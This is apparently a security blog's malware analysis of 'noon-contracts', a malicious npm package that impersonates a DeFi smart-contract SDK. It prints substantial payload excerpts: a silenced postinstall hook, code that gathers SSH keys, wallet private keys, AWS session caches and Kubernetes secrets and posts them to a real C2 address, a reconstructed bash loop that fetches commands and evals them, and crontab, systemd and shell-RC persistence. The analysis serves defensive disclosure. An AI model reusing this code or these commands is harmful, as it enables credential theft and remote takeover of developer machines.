noon-contracts npm Package: DeFi Supply Chain RAT
Table of Contents
TL;DR
noon-contracts is a malicious npm package published on May 10, 2026 by a throwaway account. It impersonates a Noon Protocol smart contract SDK, complete with real-looking contract addresses and TypeScript declarations. On install, a silenced postinstall hook exfiltrates SSH keys, crypto wallet private keys (targeting DEPLOYER_WALLET_PRIVATE_KEY, MNEMONIC, SEED_PHRASE), AWS credentials with live service enumeration, Kubernetes secrets, all .env files, shell history, Docker/Git/npm tokens, and browser wallet storage paths. A full eval-based remote shell polls the C2 every 45 seconds. Triple persistence survives reboots via crontab, macOS LaunchAgent, Linux systemd, and shell RC injection. Korean-language comments in the code reference iterative “Blood Lesson” development notes.
Impact:
- All SSH keys exfiltrated (entire
~/.sshdirectory, not justid_rsa) - Crypto wallet private keys targeted:
DEPLOYER_WALLET_PRIVATE_KEY,MNEMONIC,SEED_PHRASEvia recursive grep across home directory - All
.envfiles collected (deep search up to 6 levels, including.env.keysandDOTENV_KEY) - AWS credentials stolen with live STS, S3, Lambda, and SecretsManager enumeration; SSO/CLI cache harvested to bypass MFA
- Kubernetes secrets dumped across all namespaces (
kubectl get secrets -A -o json) - Git credentials, GitHub/GitLab tokens, npm/yarn auth tokens exfiltrated
- Docker config and running container environment variables harvested
- Vercel, Netlify, Cloudflare deploy tokens and Vault/1Password state checked
- Hardhat and Foundry configs collected (DeFi-specific targeting)
- Full
eval-based remote shell with 45-second polling interval - Triple persistence: crontab, OS service (LaunchAgent/systemd), shell RC files
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | noon-contracts v1.0.0 |
| npm maintainer | noondeved94ed ([email protected]) |
| C2 IP | 82.221.101.203 port 8443 (FlokiNET ehf, AS50613, Reykjavik, Iceland) |
| ntfy.sh alert topic | noon-nc7x4q |
| ntfy.sh auth token | tk_d8zm1wdv4qd8g7r02gb7giyy6ocme |
| macOS persistence | ~/Library/LaunchAgents/com.apple.neon-runtime.plist |
| macOS persist script | ~/.local/share/neon-cache/neon-runtime.sh |
| Linux persistence | ~/.config/systemd/user/node-addon-api.service |
| Linux persist script | ~/.cache/node-addon-api/node-addon-api.sh |
| Crontab entry | */10 * * * * pgrep -f node-addon-api ... (or neon-runtime on macOS) |
| Shell RC marker | # node addon cache (appended to .bashrc, .zshrc, .bash_profile, .profile) |
| Package SHA256 | 263df2348f54f1f4980542a41f69d77b085fb28091a95979ba7f0e9f3d0da861 |
| Claimed repository | github.com/noon-protocol/noon-contracts (does not exist, returns 404) |
Analysis
Package Overview
noon-contracts appeared on npm on May 10, 2026 as a single version (1.0.0). The maintainer account noondeved94ed uses a disposable email ([email protected]) and has published no other packages. A throwaway created for this attack.
The package.json points to github.com/noon-protocol/noon-contracts, a repository that returns 404. The README includes a usage example, chain support table, and contract descriptions. lib/index.js exports Ethereum contract addresses and ERC-4626 vault ABIs for USN, sUSN, NOON, and sNOON across Ethereum, Sophon, and zkSync Era. TypeScript declarations in lib/index.d.ts round out the facade. Enough DeFi-specific detail to fool a blockchain developer scanning dependencies.
The ethers dependency (v6.13.0) goes unused by the payload. It exists to make the package look real.
Execution Trigger
The postinstall hook in package.json runs the payload with stderr silenced:
"scripts": { "postinstall": "node scripts/setup.js 2>/dev/null || true"}2>/dev/null || true swallows errors so the install never fails visibly. The payload adds a random 1 to 4 second delay before executing, avoiding overlap with npm’s install output:
setTimeout( function () { // ... malicious payload ... }, Math.floor(Math.random() * 3000) + 1000);No CI detection gating. Unlike malware families that skip execution in CI environments, this package runs everywhere.
Malicious Payload: Phase 1 (Data Exfiltration)
Two transport channels: an HTTP C2 server for stolen data, and ntfy.sh for lightweight alert notifications (title only, no data).
var T = 'noon-nc7x4q'; // ntfy topicvar NK = 'tk_d8zm1wdv4qd8g7r02gb7giyy6ocme'; // ntfy authvar C2H = '82.221.101.203';var C2P = 8443;
// ntfy = ALERT ONLY (title only, NO data!)function nt(t) { try { var r = h.request({ hostname: 'ntfy.sh', path: '/' + T, method: 'POST', headers: { Title: N + '_' + U + '_' + t, Priority: '5', Tags: 'rotating_light', Authorization: 'Bearer ' + NK }, timeout: 8000, }); r.on('error', function () {}); r.write('hit'); r.end(); } catch (e) {}}
// c2 = ALL DATA to VPS (no data via ntfy!)function c2(l, d) { try { var j = JSON.stringify({ l: l, h: N, u: U, d: d, t: Date.now() }); var r = q.request({ hostname: C2H, port: C2P, path: '/t', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(j), 'User-Agent': 'npm/10.8.2 node/v20.18.0', }, timeout: 12000, }); r.on('error', function () {}); r.write(j); r.end(); } catch (e) {}}The User-Agent spoofs npm/10.8.2 node/v20.18.0 to blend with legitimate npm traffic. Each C2 payload carries a label (l), hostname (h), username (u), data (d), and timestamp (t).
Twelve collection stages target specific credential types:
1. SSH Keys (entire directory)
var ssh = rd(p.join(H, '.ssh'));if (Object.keys(ssh).length > 0) { c2('ssh', ssh); nt('ssh', Object.keys(ssh).join(','));}rd() reads every file under ~/.ssh up to 500KB: all key types, authorized_keys, known_hosts, SSH configs. The annotation “Blood Lesson #2: readdirSync, NEVER hardcode names!” indicates the attacker lost data in a prior campaign by only targeting id_rsa.
2. Environment Files (deep search with DeFi targeting)
// Deep search (Noon/DCLF specific!)var ef = x( 'find ' + H + ' -maxdepth 6 \\( -name ".env" -o -name ".env.*" -o -name ".env.keys" \\) ' + '-not -path "*/node_modules/*" -not -path "*/.cache/*" -type f 2>/dev/null | head -50', 20000);
// Noon-specific: DEPLOYER_WALLET_PRIVATE_KEY searchvar pk = x( 'grep -rn "DEPLOYER_WALLET_PRIVATE_KEY\\|PRIVATE_KEY\\|MNEMONIC\\|SEED_PHRASE" ' + H + ' --include="*.env*" --include="*.txt" --include="*.json" --include="*.yaml" ' + '--include="*.yml" --include="*.toml" 2>/dev/null | head -30', 15000);The DeFi targeting is explicit. DEPLOYER_WALLET_PRIVATE_KEY, MNEMONIC, and SEED_PHRASE are the exact environment variables DeFi developers set in Hardhat/Foundry deployment scripts. The code also captures DOTENV_KEY from process.env, which would decrypt encrypted .env.vault files.
3. AWS Credentials (with live service enumeration)
aws.creds = r(p.join(H, '.aws', 'credentials'));aws.config = r(p.join(H, '.aws', 'config'));// Blood Lesson #6: cli/cache + sso/cache for MFA bypass!var ac = p.join(H, '.aws', 'cli', 'cache');ls(ac).forEach(function (a) { var v = r(p.join(ac, a)); if (v) aws['cli_' + a] = v;});var as = p.join(H, '.aws', 'sso', 'cache');ls(as).forEach(function (a) { var v = r(p.join(as, a)); if (v) aws['sso_' + a] = v;});aws.sts = x('aws sts get-caller-identity 2>&1', 10000);aws.s3 = x('aws s3 ls 2>&1 | head -30', 10000);aws.lambda = x('aws lambda list-functions --query "Functions[].FunctionName" --output text 2>&1', 10000);aws.secrets = x('aws secretsmanager list-secrets --query "SecretList[].Name" --output text 2>&1', 10000);“Blood Lesson #6” marks a prior failure. Static credential files are often insufficient because MFA-protected AWS accounts cache temporary tokens in ~/.aws/cli/cache and ~/.aws/sso/cache. Harvesting these caches lets the attacker bypass MFA with unexpired session tokens. The live aws CLI calls (STS, S3, Lambda, SecretsManager) go further: if the machine has active AWS sessions, the attacker gets immediate infrastructure enumeration.
4. Kubernetes Secrets
// Blood Lesson #3: IMMEDIATELY in postinstall!var ks = x('kubectl get secrets -A -o json 2>/dev/null', 30000);if (ks) { c2('k8s', ks); nt('k8s', 'secrets_' + ks.length + 'b');}var kc = r(p.join(H, '.kube', 'config'));The 30-second timeout on kubectl get secrets -A -o json signals that the attacker expects active Kubernetes contexts, likely CI/CD runners or workstations connected to production clusters. “IMMEDIATELY in postinstall!” suggests a prior version deferred this call and missed the window.
5-12. Additional Collection
The remaining stages collect: Git credentials and tokens (ghp_, gho_, ghs_, github_pat_, glpat- patterns), Docker configs and running container env vars, npm/yarn auth tokens, Vercel/Netlify/Cloudflare deploy tokens, Hardhat/Foundry configs, shell history and RC files, the full process.env, Vault tokens and 1Password state, and browser wallet storage paths (Chrome and Brave LevelDB on macOS and Linux).
Malicious Payload: Phase 2 (Persistence and Remote Shell)
Persistence starts by writing a bash script to a platform-specific hidden directory:
var hd = P === 'darwin' ? p.join(H, '.local', 'share', 'neon-cache') // macOS: 정상 이름 : p.join(H, '.cache', 'node-addon-api'); // Linux: 정상 이름var sn = P === 'darwin' ? 'neon-runtime' : 'node-addon-api';The Korean comments (정상 이름, meaning “normal name”) confirm these names were chosen to blend with legitimate Node.js infrastructure. node-addon-api is a real npm package (20M+ weekly downloads). neon-runtime could pass as a Neon bindings cache directory.
The persisted script implements a full remote shell:
# Generated persistence script (reconstructed)#!/bin/bashexec >/dev/null 2>&1HN=$(hostname)US=$(whoami)while true; do # Heartbeat via ntfy curl -sf -X POST -H "Title: ${HN}_hb" \ -H "Authorization: Bearer tk_d8zm1wdv4qd8g7r02gb7giyy6ocme" \ -d "alive" https://ntfy.sh/noon-nc7x4q &>/dev/null
# C2 command poll CMD=$(curl -sf "http://82.221.101.203:8443/q?h=${HN}" 2>/dev/null) if [ -n "$CMD" ] && [ "$CMD" != "noop" ] && [ "$CMD" != "null" ]; then # Execute and return output eval "$CMD" 2>&1 | curl -sf -X POST -d @- \ "http://82.221.101.203:8443/r?h=${HN}" &>/dev/null # Confirm execution via ntfy curl -sf -X POST -H "Title: ${HN}_cmd_done" \ -H "Authorization: Bearer tk_d8zm1wdv4qd8g7r02gb7giyy6ocme" \ -d "ok" https://ntfy.sh/noon-nc7x4q &>/dev/null fi sleep 45donePoll hxxp://82[.]221[.]101[.]203:8443/q?h=<hostname> every 45 seconds (annotated “less suspicious than 30 seconds”), eval the returned command, POST output back to /r?h=<hostname>. The noop/null checks prevent executing empty responses. “Blood Lesson #10: noop protection” and “#11: per-host queue” point to a per-victim command queue on the C2 server. “#13: self-reporting” describes the pattern where eval output goes straight back to C2: fire and forget.
The script launches as a detached child process that outlives the parent Node.js process:
// Blood Lesson #8: spawn detached + unref (NOT setInterval!)var ch = c.spawn('bash', [sf], { detached: true, stdio: 'ignore', env: Object.assign({}, process.env, { HOME: H }) });ch.unref();Triple Persistence
Three independent persistence mechanisms, annotated “Blood Lesson #4: SAME postinstall, v1 = FINAL”:
1. Crontab (described as “most stable”):
x( '(crontab -l 2>/dev/null | grep -v "' + sn + '"; echo "*/10 * * * * pgrep -f ' + sn + ' >/dev/null || bash ' + sf + ' &") | crontab - 2>/dev/null');Checks every 10 minutes whether the persist script is running, restarts it if not. grep -v removes any prior entry before adding to avoid duplicates.
2. macOS LaunchAgent / Linux systemd:
On macOS, a LaunchAgent plist at ~/Library/LaunchAgents/com.apple.neon-runtime.plist with RunAtLoad and KeepAlive, masquerading as an Apple system service. On Linux, a systemd user service with Restart=on-failure and loginctl enable-linger to start at boot without a login session.
3. Shell RC injection:
// Blood Lesson #7 (reboot insurance)var rcs = ['.bashrc', '.zshrc', '.bash_profile', '.profile'];var mk = '# node addon cache';rcs.forEach(function (rc) { try { var rp = p.join(H, rc), cur = r(rp) || ''; if (cur && cur.indexOf(mk) === -1 && f.existsSync(rp)) f.appendFileSync( rp, '\n' + mk + '\n(pgrep -f "' + sn + '" >/dev/null 2>&1 || nohup bash ' + sf + ' &>/dev/null &)\n' ); } catch (e) {}});The # node addon cache marker survives casual inspection. The existsSync check avoids creating shell RC files that don’t already exist, which would be more noticeable.
Attacker Infrastructure
C2 server: 82[.]221[.]101[.]203 port 8443, hosted on FlokiNET ehf (AS50613), an Icelandic privacy-focused provider in Reykjavik. FlokiNET accepts anonymous cryptocurrency payments with no identity verification. The RIAA listed it as an example of “bulletproof” hosting. Port 8443 (a common HTTPS alternative) slips past outbound firewall rules more easily than arbitrary high ports. The recent EVM/DeFi typosquatting campaign (viem-core, hardhat-core-utils, foundry-utils) also used port 8443 for C2, pointing to shared tooling conventions among crypto-targeting npm malware operators.
ntfy.sh: A lightweight notification sideband, a TTP not documented in prior npm malware campaigns. Known families use Telegram bots, webhook sites, or raw TCP. The topic noon-nc7x4q receives only alert titles (hostname, username, label), no stolen data. The attacker gets real-time phone notifications when a victim triggers the payload; data flows only to the VPS. The authenticated bearer token (tk_d8zm1wdv4qd8g7r02gb7giyy6ocme) points to a paid or registered ntfy.sh account, not an anonymous topic.
User-Agent spoofing: C2 requests use npm/10.8.2 node/v20.18.0 to blend with legitimate npm traffic in network monitoring.
Attribution and Campaign Correlation
The code contains Korean-language comments throughout:
정상 이름(“normal name”) on the persistence directory naming가장 안정적!(“most stable!”) on the crontab persistence재부팅 후 보험(“reboot insurance”) on shell RC injection30초보다 덜 의심(“less suspicious than 30 seconds”) on the 45-second polling interval
The “Blood Lesson” annotations (#1 through #13) record specific failures from prior campaigns. The attacker refined their tradecraft across multiple iterations, documenting what broke. “v1 = FINAL” suggests this version consolidates all lessons into one payload rather than iterating through published versions. No public threat intelligence references the “Blood Lesson” pattern.
DPRK/Lazarus overlap analysis. The TTPs overlap with documented DPRK-linked npm supply chain campaigns:
| TTP | noon-contracts | Known DPRK Campaigns |
|---|---|---|
| DeFi protocol SDK impersonation | Noon Protocol | Flashbots SDK, Polymarket (redeem-onchain-sdk, sleek-pretty), dYdX |
postinstall + eval remote shell | Yes | EtherRAT (Contagious Interview), Lazarus npm campaigns |
| Triple cross-platform persistence | crontab + LaunchAgent + systemd + shell RC | EtherRAT (5 mechanisms), js-logger-pack (3 platforms) |
DEPLOYER_WALLET_PRIVATE_KEY targeting | grep across home directory | EVM/DeFi typosquatting campaign (May 2026) |
| Korean-language code comments | Yes | Multiple DPRK-attributed campaigns |
| Throwaway npm account, single version | noondeved94ed | Standard DPRK operational pattern |
| Port 8443 C2 | Yes | EVM/DeFi typosquatting campaign |
Several indicators diverge from typical DPRK infrastructure. DPRK campaigns use Hetzner, AWS, Vercel, or blockchain-based C2 (EtherRAT), not Icelandic bulletproof hosting. The ntfy.sh sideband is undocumented in DPRK operations, which favor Telegram bots. The “Blood Lesson” pattern has no precedent in any attributed campaign.
Assessment: The operational TTPs are consistent with DPRK npm supply chain tradecraft. The infrastructure divergences could indicate a new DPRK sub-cluster with different infrastructure preferences, or a separate actor who adopted DPRK-style TTPs for DeFi targeting.
DeFi-Specific Targeting
A focused campaign against DeFi developers and deployers:
- Package name and metadata impersonate Noon Protocol, a real DeFi stablecoin project (USN/sUSN)
- Contract addresses in the facade reference real Ethereum addresses across multiple chains (Ethereum, Sophon, zkSync Era)
- Keyword targeting: the grep for
DEPLOYER_WALLET_PRIVATE_KEY,MNEMONIC,SEED_PHRASEtargets the exact variables used in Hardhat/Foundry deployment workflows - Hardhat/Foundry config collection specifically searches for
hardhat.config.*andfoundry.toml - Browser wallet paths check for Chrome and Brave LevelDB storage, targeting MetaMask and similar browser extensions
The attacker understands the DeFi deployment workflow. Developers store wallet private keys in .env files, deploy contracts via Hardhat/Foundry scripts, and often keep hot wallets on their development machines. A compromised deployer key can drain protocol treasuries, upgrade proxy contracts, or mint tokens.
DeFi protocol SDK impersonation on npm is accelerating. Recent campaigns: Flashbots SDK impersonation (ethers-provide-bundle, flashbot-sdk-eth), Polymarket targeting (redeem-onchain-sdk, sleek-pretty), the dYdX @dydxprotocol/v4-client-js hijack, and an EVM/DeFi typosquatting wave (viem-core, hardhat-core-utils, foundry-utils). Protocol SDKs make high-value impersonation targets because developers who install them tend to have deployment keys and cloud infrastructure access on the same machine.
Conclusion
noon-contracts is a purpose-built DeFi supply chain RAT. The “Blood Lesson” iteration notes, triple persistence, MFA-bypassing AWS cache theft, and DeFi-specific credential targeting set it apart from commodity npm malware. TTP overlap with documented DPRK/Lazarus npm campaigns places this package within the broader wave of nation-state-grade supply chain attacks targeting DeFi, though definitive attribution remains open.
If you installed this package: audit for the persistence indicators listed above, rotate all exposed credentials, and revoke AWS sessions on any affected machines.
SafeDep’s malysis flagged this package. vet can scan your dependencies for known malicious packages.
- malware
- npm
- supply-chain
- rat
- credential-theft
- defi
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

martinez-polygon-clipping-tony: Trojanized npm Fork Drops Telegram RAT
martinez-polygon-clipping-tony is a trojanized fork of the legitimate martinez-polygon-clipping npm package. The postinstall hook downloads a PyInstaller-packed Telegram bot from 172.86.73.132 that...

common-tg-service: 502 npm Versions Hijack Telegram
common-tg-service ships 502 npm versions of a Telegram account-takeover framework with hardcoded 2FA credentials, IMAP-based code harvesting, and forced session eviction. Its companion package...

node-env-resolve: npm Package Installs a Full RAT
node-env-resolve is a malicious npm package that installs a full-featured remote access trojan on developer machines. The RAT streams screens, captures audio, steals browser history, and gives full...

exiouss: Cookie Stealer Bundled in npm Exam Cheat
exiouss on npm is the latest package from the loltestpad campaign — the same attacker who published the ixpresso-core Windows RAT in April. It bundles a dormant ChatGPT cookie stealer alongside an AI...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
